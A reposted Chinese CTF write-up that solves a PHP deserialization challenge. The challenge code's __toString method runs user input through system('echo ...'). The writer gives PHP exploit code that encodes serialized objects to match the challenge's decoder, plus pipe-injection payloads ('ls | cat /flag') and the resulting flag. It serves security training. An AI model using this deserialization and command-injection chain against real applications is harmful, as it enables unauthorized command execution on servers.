自学内容网 自学内容网

[web]-反序列化-base64

看到源码

 <?php 
error_reporting(0);
class A
{
    public $contents = "hello ctfer";
    function __toString()
    {
        if ((preg_match('/^[a-z]/i',$this->contents))) {
            system("echo $this->contents");
            return '111';
        }else{
            return "...";
        }

    }
}


function decode_data($data){
    $data = base64_decode($data);
    $res = '';
    for($i=0; $i< strlen($data); $i++){
        $res .= chr(ord($data[$i]) + $i);
    }
    return $res;
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];
    $data = decode_data($data);
    echo unserialize($data);
}else{
    highlight_file(__FILE__);
}


 ?>

起点和终点都是_toString(),类被当作字符串使用, 这里很简单,但是传入的参数经过解密,首先是需要base64解码,然后每位上加上自己的序号。反过来先构造自己的类,然后每位减去序列号,最后base64编码

<?php
class A
{
    public $contents = "ls /";
}


$a=new A();
$data = serialize($a);
echo $data;

$res='';
for($i=0; $i< strlen($data); $i++){
   $res .= chr(ord($data[$i]) - $i);
}
    
$data = base64_encode($res);
echo $data;
?>

输入后提示:ls / 111,说明执行了。

但是只执行了echo命令,我们用管道符来构造命令

<?php
class A
{
    public $contents = "ls | ls /";
}


$a=new A();
$data= serialize($a);


$res='';
for($i=0; $i< strlen($data); $i++){
   $res .= chr(ord($data[$i]) - $i);
}
    
$data = base64_encode($res);
echo $data;
?>

TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHx0dBE1T/1r9SE76CPoSUw==

输入后,可以看到目录和flag,读取flag就可以了。

<?php
class A
{
    public $contents = "ls | cat /flag";
}


$a=new A();
$data= serialize($a);


$res='';
for($i=0; $i< strlen($data); $i++){
   $res .= chr(ord($data[$i]) - $i);
}
    
$data = base64_encode($res);
echo $data;
?>


TzkvNx48HDMpMXFoLissE1NeXGFRWV5cCiJZHxUXHANMUv5Z/D47TfgGPEE1OvQMTQ==

flag:e7d6ee31352bf6bf9cc227ac25cdb3f1


原文地址:https://blog.csdn.net/mails2008/article/details/140586470

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!